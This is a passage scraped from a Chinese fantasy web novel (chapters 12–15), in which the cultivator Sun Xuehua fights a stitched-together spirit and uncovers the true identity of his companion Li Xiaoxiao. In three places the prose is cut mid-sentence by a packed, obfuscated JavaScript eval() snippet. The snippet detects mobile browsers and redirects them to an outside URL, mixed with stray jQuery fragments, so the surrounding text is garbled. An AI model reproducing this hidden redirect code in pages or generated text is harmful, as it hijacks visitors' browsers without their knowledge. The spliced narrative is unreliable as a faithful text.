宁展阳挥退了此地的守卫,边往里走,边说道:“大概是一个多月前,换岗的时候,那两个人失踪的,就在二小姐的书房前。二小姐说他们失踪的前一晚,看见有个黑影从她窗子前闪了过去,她以为是自己眼花了,没有太在意。” “看到黑影,大约是什么时辰?” “子时左右。” “二小姐平日里都会在书房待到那么久吗?” “二小姐娴静,平日里就喜欢品茶赏月,侍弄花草,她的书房里也多是些农书杂集,一看便是许久,庄上的人也都习惯了。” 孙雪华闻言,仰头看了看阴沉沉的夜空,本就隐晦的月光此刻已彻底隐入云层之中,不见踪影,树梢之上的风打了个旋儿,无声地落在他眼睫。 有别的气息在靠近。 孙雪华不语,沉默地跟在宁展阳身后,一旁的李箫箫忽地抓住他的手腕,似乎是在害怕,肩膀紧紧贴着他的衣袖。 “到了,就是这儿。”宁展阳停下脚步,指了指前面不远处的空地,“二小姐说,大概就是那个地方,再往前走一点,就是她的书房了。” 孙雪华上前两步,站在那空地的中央,朝前看去,只远远瞧见一扇昏暗的窗,整个房屋的结构并不清晰。 他问宁展阳:“这里失踪的护卫,有留下痕迹吗,比如说残留的衣物、头发或者其他微末之物?” “有。”宁展阳从腰间抽出一个小布包,交给他,“就只剩些布条了,大概是头巾之类。” 孙雪华打开那个布包,两指并拢,灵气聚集,仔细探查一番。 一无所获。 和金伯涛给他的那些布条,是一样的情况。 树梢上的风又一次打了个旋儿。 孙雪华将那个布包放在空地上,抽出腰间佩刀,在地上有条不紊地画起了法阵。宁展阳观摩着,见那阵法简约大气,线条利落流畅,便觉这阵法不简单。可惜,这小少年大概也只能活半个时辰了。 宁展阳悄悄瞄了眼李箫箫,可对方的视线全都落在孙雪华身上,一点没有注意到自己。 宁展阳便按照计划,清了三下嗓子。 这是动手前的暗号。 沉沉夜色下,寂寂院墙上,多出了几双警惕的眼睛。 孙雪华画完法阵,便将那把刀插在布包一侧,抬头对李箫箫说道:“你们两个都后退三尺。” “这是什么呀,小兄弟?”宁展阳抱胸而立,有些奇怪,孙雪华简单解释了一句:“招魂阵。” “招魂阵?我们先前已经请过高人来做法了,并不能招回那些护卫的魂魄,他们要么还活着,要么已经魂飞魄散。” 宁展阳不解,孙雪华感觉到周围的风有了些微妙的变化,垂眸道:“那些护卫确实早已神魂俱散,招魂阵对他们的确没用。” “那你要招谁的魂?” “自然是,你们口中那个黑影的魂。” 宁展阳一个激灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他喉结一动,转身看去,一个庞大无比的“人影”就站在他身后,五官被一根又一根黑色的棉线缝死,眼皮、鼻翼、嘴唇,全部都被重新缝合,扭曲可怖。而那身躯之庞大,如同被泡开的棉花,只要轻轻一戳,五脏六腑就会喷涌而出。 宁展阳脸色一白,拔出刀来,一时间万箭齐发,直冲那“人影”而来。 孙雪华蹙眉,单手结印,法阵上盘旋的符文瞬间变成一道坚固的屏障,将那些箭矢挡落。 “不要刺激他。”孙雪华低声警告,可宁展阳哪管得了这么多,大喝一声:“兄弟们!升官发财的机会到了,快随我将这怪物拿下!” 言未尽,他便抽出那根戒鞭,狠狠打了过去。 “啪!” 孙雪华暗道不好,只见那“妖怪”吃痛,顿时狂躁了起来。 13. 第 13 章 周围的气息瞬间万变,叶梢低鸣,草木匍匐。 只听那“妖怪”骤然尖叫,硕大的双手紧紧握成拳,笨拙地与挥鞭而来的宁展阳厮打在一起。墙上那些人马不断放箭,为他们的守卫长助威,可那些飞来的箭矢尽数被孙雪华施术打落。宁展阳见状,极为不满:“殷小兄弟为何阻拦!莫非你与这怪物是一伙的?” 孙雪华不作解释,只是原地改变了阵法,那些盘旋飞舞的符文散作漫天金光,逐渐将这座庭院笼罩其中。宁展阳收鞭,改用长刀挥砍,那“妖怪”似乎格外迟钝,只知道用拳头漫无目的地乱砸,没有任何招式套路可言,宁展阳找准它的破绽,一刀劈中它的命门,不想,那长刀陷入皮肤之后,并不能将其劈开,反倒被一股强劲的力量冲击,宁展阳连人带刀摔出去好远,一路滚到了李箫箫脚边,对方轻轻勾起脚尖,一把抵住他的后背,将他定在了原地。 宁展阳头晕眼花,还不忘点头致谢,李箫箫只觉得好笑,挪开脚,低声道:“起来吧。” 那“妖怪”又一次放声尖叫,身体里冲出一股强大的气流,像是要将这片宁静的夜色彻底撕碎,孙雪华抬手,在身前形成一道牢不可破的屏障,那气流改道,直冲云顶而去,又被笼罩于上空的符文全部吸收。 那“妖怪”挥拳攻来,孙雪华终是离了那阵眼,脚步轻巧地避开它的攻击。宁展阳踉踉跄跄地站起来,刚要发号施令,让众人群起而攻之,却被李箫箫拦下:“慢着。” “祖师爷有何高见?” “鹬蚌相争,渔翁得利,不如就让那位小兄弟会会那个妖怪,兴许他们两败俱伤,你我不就可以一石二鸟,省得多费力气?”李箫箫慢悠悠地说着,视线却丝毫没有从孙雪华身上移开,宁展阳一顿,似是恍然:“谢祖师爷提醒,是属下愚钝了。” “别总想着一人之下,万人之上,有时候心急吃不了热豆腐。”李箫箫看都没有看他一眼,将腕上那个红色的锦囊解了下来,交给他,“戴着吧,可保你无事。” “多谢祖师爷。”宁展阳心情复杂地接过来,说不出是何种滋味,再抬头,李箫箫已经走出去一段距离,正站在那个法阵周围,不知道在看些什么。 宁展阳没有妄加揣测,只是将人马召集起来,准备等到孙雪华和那“妖怪”精疲力尽时,给他们最后一击。 少年并没有急着攻击,只是不断地调整自己的方位。那“妖怪”穷追不舍,他连眼睛都不曾眨一下,像一片在风中飘摇的落叶,谁都不知道他下一刻会落在哪里。 宁展阳只当他束手无策,便放下心来。 只有李箫箫看穿了孙雪华的意图。 他是想尝试让那“妖怪”冷静下来。 “事到如今,居然还想着救人吗?” 李箫箫感到满意。 他觉得这很符合孙雪华的为人,也不枉他来此地一遭。 不过在他看来,那“妖怪”已经没有被拯救的必要。 李箫箫思量片刻,轻轻摇了摇长箫上的金珠,那金珠流光,以极快的速度融入孙雪华的法阵当中,消失不见。 他再次回到宁展阳身边,低声吩咐道:“我已施术破坏那位小兄弟的法阵,你机灵着些,明白吗?” “明白。”宁展阳心领神会,李箫箫将长箫抵在唇边,静静地开始默数三个数。 “三。” 孙雪华抛出一张灵符,紧贴于那“妖怪”眉心处,两指聚气,灌入自身灵力,强行使那“妖怪”镇定下来。 “二”。 李箫箫勾起嘴角,只见孙雪华轻轻落到那“妖怪”肩头,掌心向下,按在其巅顶处,以示安抚。 就在此时,宁展阳张弓搭箭,飞矢直冲二者前来:“小兄弟,我来助你!” 这一声大喝,已经慢慢冷静下来的“妖怪”再次发狂,孙雪华暂且撤退,夜色之下,谁也没有看见他到底是何种神情。 “一。” 李箫箫神色一凛,那“妖怪”仰天怒吼,气流形成巨大的旋涡,瞬间冲开孙雪华的符文,少年神色微变,反手又飞出一张灵符,钻入那“妖怪”体内,只见对方在一刹那四分五裂,强大的威压令所有人都直不起腰来,李箫箫更是一个踉跄,摔倒在地。宁展阳想扶他,却自顾不暇,孙雪华再次结印,将被破坏的法阵重新布列,抹去那“妖怪”余威,而后才缓缓落了地。 所有人都灰头土脸地等在原地,一时间竟是死一般的寂静。 宁展阳见他毫发无损,自知不好再下手,便道:“殷小兄弟好身手,在下佩服。” 孙雪华扫了眼那些多出来的护卫,并未言语,宁展阳解释道:“我手下的护卫皆是百里挑一的高手,应变能力极好,听到这里的动静,便迅速赶来支援。可不曾想,并没有派上用场。” 他佯装懊恼:“早知会发生这种事,我应该今早加派人手才对。” 可孙雪华淡淡地看了他一眼,只道:“那东西逃了,并没有死,你们今后行事要小心。” 宁展阳一愣:“它不是爆炸了吗?” “那只是它的障眼法,实际上,还有别人藏在暗处,试图搅动风云。”孙雪华微垂眼帘,“那东西行动缓慢,攻击只凭本能,如此之物,就算会袭击护卫,也不可能会将神魂吞噬殆尽,因此,它不一定是罪魁祸首,或者说,它背后定有他人在引导。” 宁展阳呼吸一滞,顿时真切地感受到这次事件的严重性,忙问:“那小兄弟有何高见?” “没有高见,只能等了。”孙雪华说着,便默默走过去,李箫箫刚站起身,提着一只脚,好像疼得不行,一直咬着唇。 孙雪华注视着他,李箫箫蹙着眉,一脸苦相,抬着右脚,悬于地面,不肯放下。孙雪华看了一会儿,慢慢蹲下身,两手握住他的脚踝。 “啊。” 李箫箫轻呼,孙雪华摸了摸,这才站起身:“只是扭伤了,没有伤到骨头,静养几日就好。” “嗯。”李箫箫应着,发音有些含糊,像是在和他撒娇。 宁展阳问道:“我送你们回去吧,之后我再去向庄主复命。” “守卫长现在要做的,应该是封锁周边,加派人手搜查。”孙雪华很是平静,宁展阳被这么一说,面上便有些挂不住:“那妖怪力大无穷,就算封锁了,又能如何呢?何况你不也说,现在只能等吗?” “等待和等死是两回事。” 孙雪华语气未变,可用词已经开始具有攻击性,宁展阳更觉难堪,想发火,又碍于李箫箫在此,没敢发作,便讪讪道:“行,我知道,不用你教。” 孙雪华又问:“你手上那个红色锦囊,怎么拿到的?” 宁展阳闻言,看了眼李箫箫,对方并未看他。宁展阳早就觉得孙雪华不好对付,但这个少年似乎对李箫箫并不设防,那此刻必不能让他怀疑自己与祖师爷是一条船上的蚂蚱,否则今晚能不能平安度过,都是个难题。 “我们庄主请来的上宾,便是我先前告诉过你的,开坛设法的高人。这点护身的锦囊,于他而言不在话下,我自是向他讨来的。”宁展阳如是说道。 “嗯。”孙雪华不多言,“那接下来,就有劳守卫长继续追查了,我先送他回去。” “明日我再登门给您送伤药。”宁展阳拱手道,李箫箫颔首:“有劳了。” 他们就此分别。 眼见四下无人,李箫箫刚要耍无赖,让孙雪华背他回去,却见对方手一伸,紧紧搂住他的腰:“抓紧。” “嗯?” 话音未落,孙雪华手上用力,搂着他,脚尖轻点,竟是踏叶飞花,身轻如燕地穿过院墙,落到他们的院中。 孙雪华常年练剑,内息磅礴,掌心较常人温热,此时春夏交接,天也渐热,李箫箫穿得便薄了些,眼下那热烘烘的掌心紧贴在他腰侧,隔着那薄衫,实在有种微妙的触感,令他不由地心猿意马起来。 可惜孙雪华动作一向很快,到了地方,就松开了他。 李箫箫心下直叫可惜,但面上不显,挪着脚往软榻上一躺,就听孙雪华说道:“灵符和锦囊我再给你做一个,莫要再给他了。” 李箫箫以为他在怀疑自己,便道:“他拿刀架在我脖子上,我也不能不给呀。” 他刚摆出一副委屈的表情,就见孙雪华朝他走了一步:“你误会了,我的意思是,不要把我的东西送给别人。” 李箫箫一愣。 铁树开花了? 他还以为孙雪华在和自己调情。 没想到,对方却说:“若有人伤你,那锦囊会自动打开结界,以宁展阳的修为,根本不足以伤害到你,除非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762371|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是自己解下来给他的。” 李箫箫嘴一撇,泫然欲泣:“可是,我也不愿意见到血流成河,尸骨成山。守卫长虽是傲慢刻薄,可从未苛待过我,更不像其他人那样嘲讽我贬低我,我不希望他死,也不希望你有事。” 孙雪华不言,李箫箫更是哽咽:“你若是怪我,怎么罚我都行。” 孙雪华垂眸:“宁展阳尊敬你,只是因为他当你是宋家祖师爷,若是被他知晓,你是个冒牌货,你的下场不会比那些护卫好上多少。” 李箫箫红了眼,低着头,不说话。孙雪华微叹:“把鞋子脱了,我给你敷点伤药。” “嗯。” 李箫箫十分乖顺地脱了鞋袜,孙雪华去打了一桶冷水,将毛巾泡了进去,然后捞起来稍微拧了拧,裹在他红肿的脚踝处。 “嘶。”李箫箫有些难受,问道,“有没有那种,就是一敷就好的伤药,或者法术什么的?” “没有。”孙雪华头都没抬。 李箫箫望着他梳得整整齐齐连一根杂毛都没有的头发,再看向他露在外面的一小片脖颈,无声地嗅了嗅,仿佛还能闻到这人身上冷冽的气息。 李箫箫勾起一抹笑意,有意无意地靠了过去:“真的没有吗?你不会是还在生我的气,所以不愿意告诉我吧?” 孙雪华忽地抬起脸,那双冷情的眼睛便撞上了李箫箫柔软的唇,他几乎是立刻仰了仰头,与人保持住了距离。 李箫箫脸色一红:“对不起,我不是故意的。” “没事。”孙雪华复有低下头去,给他把脚擦干,从怀中取出一瓶伤药,给他均匀地抹上,裹上绷带,然后再将那桶冷水拎出去倒了。 李箫箫感觉他确实是有点生气了。 “小气鬼,不就亲一下吗?”某人躺在软榻上,小声嘀咕着,孙雪华不知何时又出现在了他旁边,说道:“你就在床上躺几天,很快就会好的。” 李箫箫听了,抿着唇,伸出没有受伤的那只脚,轻轻地踩了下他的大腿外侧,说道:“可是我想立刻就好。” 言语举止中的暧昧不言而喻。 孙雪华没有太多反应:“理由呢?” “你接下来一定要再去调查那个妖怪,我不想一个人待在这里,我害怕。” “害怕的话,就记好我说的话吧。”孙雪华说完,转身去了外间。 李箫箫又是一怔,琢磨着,这人真的生气了吧?因为我把他给我的东西给了宁展阳,还是因为我亲了他一下? 真有意思。 李箫箫又暗暗激动起来,就见孙雪华抱了一床被褥过来,扔到床上。 “你脚受伤了,不好再跟我挤在外间那个小床上,免得半夜睡觉,自己压着它。”孙雪华利落地铺好自己的半边床铺,脱掉外衣,躺了进去。 李箫箫哑然:“你……” “睡了。”孙雪华轻轻一弹指,屋内烛火顿时熄灭,一片黑暗。 李箫箫反应过来,一手隔着被子,手指若有似无地点按着他的胸膛:“我想去洗个澡,可以吗?” “不可以。” “可是好脏啊。”李箫箫放缓了语调,尾音上扬,格外缱绻,孙雪华没有理他,李箫箫轻声笑着:“那我脚受伤了,不好铺床。” 对方仍是不予理会。 “那我和你睡一个被窝?” 依旧没有回答。 李箫箫便掀开他被窝一角,见对方始终没有反应,就悄悄钻了进去,还是像先前那样,蜷着身子,额头靠在他肩侧。 “你好暖和。”李箫箫喟叹,真是没有想到,平时看上去那么冷冰冰的一个人,真贴近了些,居然这么温暖。 “嗯。” 孙雪华终是出了声,把自己的被子分了他一半。 李箫箫有点捉摸不透,想起今日所见,便追问着:“你为什么不揭穿守卫长的阴谋呢?说不定你说出来,就能震慑住他,他就不敢再对你动手了。” “我若是说了,危险的就是你。” 孙雪华也弄不懂他是真傻还是假傻,想到今天被破坏的法阵,他也隐约生起气来。 李箫箫听了,莞尔:“你这么担心我啊?” 孙雪华一点都没搭理他。李箫箫等了许久,都没等来回应,很快就犯了困,沉沉睡去。 14. 第 14 章 另一头,宁展阳命人加强各处的巡逻,却没有下达追击的指令。 他再次去请示了庄主。 黎明将至,天边早已泛起了鱼肚白,可他还是恭敬地跪着,等待这个江心洲的主人发号施令。也许庄主会责罚他阳奉阴违,办事不力,可对方只问了一句:“那个锦囊,你呈上来我看看。” “是。”宁展阳解下腕上那个三角灵符,双手奉上,侍从接了过来,捧进屋内,欠身道:“庄主。” 那双苍老的手稳稳拿过那个灵囊,仔细辨认许久,眼底终是露出一丝讶异:“这个灵囊……” “祖师爷交予我的,说是可保我平安无事。但那个姓殷的小伙子,好像也看出来它不同寻常。”宁展阳认真思忖片刻,道,“我怕被他发现,我与祖师爷合计杀他,特意遮掩了一番。” 老人将那灵符置于手边,轻叹着:“你们早就被发现了。” “什么?”宁展阳一怔,只听对方说道:“这个灵囊,与先前的灵符均是出自同一人之手,先前我见那灵符,便有所怀疑,如今见了这灵囊,我敢笃定,这样式、手法,乃至气息,均是出自临渊孙氏。” “临……临渊?”宁展阳更是愕然,“莫非,您说的是现今正道第一大宗,临渊孙氏?” “对。”老人声音嘶哑,像是陷入了某种回忆,默然良久。 宁展阳百思不得其解:“我听闻,十几年前,临渊遭受魔都重创,掌门以身殉道,早已青黄不接,近年来虽是已恢复元气,但门下弟子并未如从前那样,再有下山游历之说。且几年前,祸乱再出,临渊再遭劫难,早就千疮百孔,现任掌门孙夷则,年不过二十七,甚是年轻,怎么,怎么……” “这个灵囊,绝非普通弟子的手笔,少说也要是临渊长老的级别。”老人微叹,“但正如你所言,临渊能达到此等修为的,均已捐躯赴难,新任掌门虽是年轻,但和你所描述的少年相去甚远。” “那,那我们的计划岂不是败露了?祖师爷不会有危险吧?”宁展阳大骇,心下却已经打起了算盘,老人摇摇头:“那少年明知我们有意杀他,却隐而不发,甚至留你回禀于我,要你加派人手,追击凶物,且不论他胸怀气度如何,单说一点,他必定对自己的能力十分自信。” “这般人物,我也该去见见了。” 宁展阳愣了愣,好一会儿才回过神:“那属下即刻去安排?” “不急在这两三日。”老人吩咐道,“祖师爷许是有他自己的安排,你莫要自作聪明,坏了他的大事,今日你我之言,你全部忘记,就当没有发生过,尽好你的本职即可。” “是,属下遵命。”宁展阳三拜叩首,这才施施然离去。 老人阖眼,思绪万千。 看样子,这次的事情,招惹来了不得了的人物。 这一夜的动静自然瞒不住,只是都被宁展阳下了死令,任何人胆敢透露一星半点,格杀勿论。没有亲眼目睹那个“妖怪”的人,均是一头雾水,并不知道究竟发生了什么。只有尹晓棠察觉到了一丝山雨欲来风满楼的不详之气,趁着尚未天亮,她潜入金伯涛住处,将自己被收上去的弓箭和孙雪华的剑袋偷了出来,藏于自己床下,以备不时之需。 她等待着孙雪华下一步的安排,但这一夜未能得到消息。 清晨,窗外亮起了第一缕阳光。李箫箫倏地睁开眼,微微抬头,看了眼尚在熟睡的孙雪华,无声无息地起了床,施施然离了这屋子,快步走向那个浴室。 那地方被他上了锁,只有他本人能进。 只见他进了那屋子,氤氲的水汽瞬间散开,那个覆眼塞耳,口衔金箔的少女又一次出现,这一次,她明显好了许多,写字的速度也快上不少。 “有个大家伙进来了,我把它藏在水池里。”少女的字灵巧飘逸,可李箫箫却有点笑不出来。 他好像知道是什么东西找上门来了。 “带我去瞧瞧吧。”他没有责怪,双手背于身后,闲庭信步那般,走进了浴池。 水面之上,站着个硕大无比的“人”,正好就是昨夜那个。它一动不动,气息全无,也不知道是被术法定住了,还是陷入了沉眠。 “阿音,你怎么发现它的?” 李箫箫问道。 少女回答着:“我夜里坐在窗边吹风玩,就看见一团又一团的云朵飞了过来,一直往浴池钻,我就把它重新拼了起来,之后它就变成这样了。” 李箫箫不言,思量着,这个东西,先是伪装成爆炸,逃脱孙雪华的法阵,而后又逃到自己的地盘。 是为什么呢?一般来说,若是它背后有人指引,不应该回到那人身边吗? 李箫箫微微侧头,问道:“阿音,你是怎么把它拼好的?是一团一团地拼,还是按照四肢骨骼拼的?” “就是一团一团拼的。”阿音仔细想了想,又默默写下,“好像,能隐隐约约看到一个人影,瘦瘦的,和我差不多高。” “但是我不清楚是不是我自己映在水里的影子,还是别的。” “哦。”李箫箫若有所思,“看来,这么大的东西,只是它的伪装,让它看起来恐怖罢了。” 他轻轻转了一圈手中长箫,让阿音退后,然后单手结印,一道金光自宝珠之上发出,落入那庞然大物的眉心。只见一团又一团云朵似的东西纷纷掉落,被池水彻底吸收,一个闭目养神的女子露出了本来样貌。 “怪不得连我都无法辨认她的真身。”李箫箫恍然,是有人用术法制造了一层“壳”,将这只游魂裹了进去。 这不是一个很难的术法,但若是运用得当,可以很好地隐藏“芯”的身份,哪怕是得道高手,也不一定能在第一时间辨认出。 李箫箫歪了歪头,端详着那个女子的脸,叹道:“不是一个恶鬼,倒像是被召唤出来的。” “什么意思呢?”阿音问着。 “就是她本来死了,可有人希望她能重返人间,就使用了招魂阵,将她招了回来。”李箫箫看着看着,颇有些不解,“可这女子生前,应是手无寸铁之人,怎么会被招魂,做此等行径?” “难道,有什么难言之隐?” 李箫箫沉吟片刻,再次施术,想试着勾出这个游魂生前的记忆,不曾想,一张灵符轻盈飘下,落在了他脚边。 李箫箫瞥了一眼,心头一跳。 这是孙雪华的灵符。 他如梦初醒:“看来我是被小 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孙雪华压根儿没有搭腔,只道:“昨夜一战,我便发现,那个庞然大物行动全靠本能,背后必有他人作祟,我本意放它归去,好揪出幕后黑手。” “可是有人暗中破坏了我的法阵,导致我计划失败。” “宁展阳和他的手下,均是武夫,拳脚功夫了得,可是灵力不够,根本不可能破坏掉我的阵法。” 孙雪华直直地盯着李箫箫,看不出一点情绪波动。李箫箫很是失望,他试想过很多次身份暴露的场景,也试想过孙雪华究竟会露出何种表情,或许是惊讶,或许是愤慨,又或许是伤心难过,但万万没想到,这人竟然如此冷静。 就好像他本就不值得这位神仙似的人物,垂眸一顾。 不值得。 李箫箫一想到这个,就有些生气了,可脸上还是笑盈盈的,说道:“我猜到你要顺藤摸瓜,所以提前帮你减弱了法阵的力量,这样不好吗?怎么还要对我兴师问罪呢?你要是顺着原本的计划,放它寻自己的主人去,何苦又来我这儿周折一番?还有——” 他顿了顿:“你让这个游魂找上门,就不怕我真的手无寸铁,被它所伤?” “你若真的手无寸铁,这会儿应该还在我身边睡觉。” 李箫箫一时无言,一脸委屈地说道:“你就这么试探我?好无情啊。” “不是我在试探你,而是这个游魂一开始就只跟在你身后。”孙雪华的表情终于有了一丝裂痕,他也看不透李箫箫,身份、性格、目的,全部都像浸在一片雾中,看似有形,实则一点都摸不着。 “我当时还是很担心你的。”他终是败下阵来,轻轻吐纳着气息,说道,“你每走一步,这个游魂便学你一步,连带着周周的气息,都在不断布散,不断向你靠拢。” 李箫箫一愣,有些出乎意料。 他并没有想过孙雪华会说这么多,这个人明明看上去惜字如金。 “我本以为它会对你不利,可你又中途坏了我的法阵,那我又该怎么办呢?” 15. 第 15 章 李箫箫没有料到,在他身份即将暴露的当口,孙雪华露出的表情居然是无奈。 一种平静的,仿佛只是在怪他太过胡闹,怪他不够爱惜自己的无奈,而不是在怨他的鬼话连篇,怨他的诡计多端,怨他的临阵倒戈。 那种无奈之下,折射出的,是一种久居上位者的悲悯。 李箫箫微愣,就见孙雪华收回目光,头也不回地往里头走。阿音见了他,都不敢发出动静,悄悄飘到了李箫箫身后,对方安慰道:“没事的乖宝,不要害怕。” 阿音一字一顿地写道:“痛。” 李箫箫想起上次孙雪华差点一掌把阿音打到魂飞魄散,轻叹着:“那你休息去吧。” “嗯。” 地上那个灵巧的小字很快散去,阿音也随之遁入无边的水雾之中。 孙雪华站在池边,望向那个静默而立的女子,又摸出一张灵符,单手结印,口中轻喃:“收。” 只见那灵符金光大作,迅速将那女子魂魄纳入其中,之后才翩然飞入孙雪华手中,过程之快,仿佛只在眨眼之间。 李箫箫莞尔:“你都把她收起来了?我还想试着勾出她的记忆,看看有没有别的线索呢。” “没有自我意识的亡魂,便不存在所谓的生前记忆,你不曾与她交手,自然不知晓。”孙雪华说着,转身便要离开,李箫箫忽地拦住他,脸上笑意不减:“那小雪接下来打算怎么做?” “无可奉告。” “咦,真要这样吗?”李箫箫身子稍稍前倾,贴近孙雪华,“你就不好奇我到底是谁?究竟有何目的,是敌是友?” “这些,我会自己去判断,不劳您白费口舌。”少年显然不吃这套,左跨一步,想绕过他,没想到,李箫箫还是不依不饶地问:“那你就这么放过我了?我坏了你的计划,欺瞒你,拖累你——” 孙雪华微微叹了一口气,李箫箫顿时噤了声。 浴室里水汽弥漫,再过一会儿,那些温暖的不断蒸腾的水珠就会沾湿他们的发梢、肩袖、衣摆,甚至还有某人光裸的脚踝。 孙雪华低眉,轻声道:“昨夜,守卫长的那支箭,是你让他射的吗?” “对,是我。” “你当时是想制造混乱,好趁机杀了那个庞然大物吧?” “是,没错。” “可刚刚她就站在那里,你却没有动手。” 李箫箫不解其意,他不懂孙雪华明明看穿了自己的意图,却还要从头再问一遍,找自己的怀疑对象来确认自己的答案是否正确,这真是让人难以捉摸。 李箫箫想不通,便决定如实相告:“因为我也很好奇她的来历,也想知道究竟是谁在暗地里搞鬼。” “嗯。” 孙雪华不作他言,抬脚又要离开,李箫箫愈发困惑,跟在他身后,追问着:“所以呢,你的答案就是这个?” “你没有杀她,说明护卫失踪一事,并不是你干的。”孙雪华走得很稳很快,声音都落在了背后,李箫箫莞尔:“还有呢,再多说一些呢?这就是你放过我的理由?” 孙雪华猛地回身,李箫箫跟得紧,一下撞在了他身上,可某人似乎没有要停下脚步的意思,故意往人身上一挂,笑着:“怎么办,好像脚真的有点疼。” 孙雪华稳稳地站着,挺拔如松,他淡淡回答道:“你也不想杀我,并不是我的敌人。” “哦?万一我是呢?”李箫箫双手环住他的脖子,含情脉脉地注视着那张冷肃的脸,越看越满意,孙雪华终于抬眸,静静地看向他:“就算是,你也不是我的对手。” 李箫箫眨眨眼,原来这人是觉得自己没有对他造成威胁,因为不堪一击,所以连做敌人的资格都没有。 “你这话说得,好让我伤心啊。”李箫箫嘴一撇,又开始委屈了,孙雪华只问他:“现在可以松开我了吗?” “不要,脚疼。”李箫箫像是在故意逗他,头一歪,哑着嗓子说道,“地上好冷,都要给我冻坏了。” 孙雪华抿了抿唇,似乎在思考一件很重要的事情,李箫箫也不急——他倒是很期待,这位曾经的正道魁首,会给出一个怎样的答案。 “你——” 孙雪华只吐出这一个字,李箫箫“嗯”了一声,又没下文了。 两个人离得实在太近了,呼吸都要交缠在一起,那轻盈的香气像一阵细风,不断落在孙雪华的眼睫处。他终是开口问道:“你是在向我示好吗?” 李箫箫:“……” 这个问题,是我想的那个意思吗? 李箫箫忍俊不禁:“示好有很多种,以财贿之,以色/诱之,以情蛊之,都可以称得上示好,你说的好,是什么好?” 他说着,又迫不及待地加了句:“先说一下,我可从来不以色事人。” 孙雪华默然片刻,复又问道:“你,是在向我示爱吗?” 李箫箫一顿。 他想,这人真是可爱,总在一些意想不到的地方表现得十分直白。 李箫箫喜欢得紧,一时间居然没有想好要怎样回答。 孙雪华很是平静:“从前,也有许多人向我示好,也不乏你这样的。” “唔,”李箫箫沉吟片刻,问道,“那你很受欢迎啊,那么多人,就没一个喜欢的?” “在我看来,那不是爱。” “那是什么?” “是希望得到我的庇护,得到我的怜悯和爱惜,可他们却不能理解我的坚持,认可我的理想,更遑论,支撑我的大道。”孙雪华字字珠玑,“所以我不认为,这是爱。” 李箫箫眼神沉了下来,可嘴角还是上扬的,辨认不出他到底是在笑,还是在发狠。 “你说的到底是你的爱,还是你的道义?” 孙雪华未作解释,伸手抓住他的腕骨,轻轻一扯,就将人从自己身上扒了下来,而后干脆利落地转身离去。 李箫箫望着他的背影,神色微妙。 阿音不知从哪儿冒出来,在地上写着:“他好严肃。” “临渊掌门,正道魁首,能不严肃吗?”李箫箫轻轻转着他的长箫玩,若有所思,“不过,倒也有趣。” 他笑笑,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762373|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着孙雪华的步调一并离开了。阿音也回去继续养伤,偌大的院落很快恢复了平静。 少年坐在外间的床榻上,抽出那张封印着女子游魂的灵符,再次结印,那灵符很快化作一只飞蛾,越过窗外,飞向远处。 “你让她去寻她的主人去了?”李箫箫调笑着,坐到他身边,“看来真是我误了你的大事。” 孙雪华不言,闭目静坐。 李箫箫见状,忽地躺了下去,头倚在他腿上,小声道:“好困,我睡了。” 仍是没有回应。 “真是个无情之人啊。”李箫箫嘟囔着,眼一闭,不再言语。 孙雪华的一缕神识,追着那张灵符,飞到了某处偏僻的院子。 那地方略小,从外面看,也没有任何装饰,简朴又僻静,可安排巡逻的护卫却一个不少,和那位二小姐的院子不相上下。 灵符飞入院中,穿过门缝,落入屋内,那女子再次显形,可没一会儿,就消失在了视野中。灵符也丧失了灵力,很快就湮灭。 孙雪华默默睁开眼,看了眼躺在自己腿上的某人,并没有将他推下去。 那个屋子里,有一点很浅的血腥味,但没有很重的怨念,由此可见,召唤这个游魂之人,应该道行不高。 孙雪华考虑到宁展阳那个急功近利的性子,决定暂且将此事压下,他传音于尹晓棠,让她再探,自己稍后与她会合。 “明白。”尹晓棠收到消息,随即出发了。 孙雪华又看了看睡着的李箫箫,忽然抬手,似是要封住他的奇经八脉,却被对方一把抓住了手腕:“你莫不是要弄晕我,再独自去行动吧?” “是又如何?” “你好狠的心啊。”李箫箫轻声直笑,握紧他的手腕,放在自己心口,“天地可鉴,我可从来没有害你的心思。” 掌心之下,一片温热,阵阵有力的心跳隔着布料传来,一切的虚无缥缈,又变得真实起来。 孙雪华注视着他那张过分漂亮的脸,想起初见时的斑驳光影,游鱼戏花,宝珠生辉,这人就像站在画影中,分不清真假。一时间,无数疑虑涌上心头,他忍不住问道:“你箫上那颗金珠,是从哪里得到的?” “这就是我的东西啊,有什么问题吗?” 李箫箫灿然一笑,孙雪华垂眸,某人又忙改口道:“我自出现在这世间,这颗金珠就一直陪伴在我左右,若真要说起来处,那就是——” 他微微偏头,又贴近孙雪华几分,压低声音道:“听海崖,无晴门。” 少年人一怔,呼吸微滞,李箫箫终于满意了,他笑着:“孙掌门真是贵人多忘事,连当初借走的宝珠,都不记得了,实在让我好伤心。” “你是——” 孙雪华欲言又止,不可能,当初他借走的金珠,早已归还至听海崖地宫之内,那八角井上的锁扣分明—— “我叫李见尘,如果孙掌门愿意的话,也可以称呼我一句,李门主。” 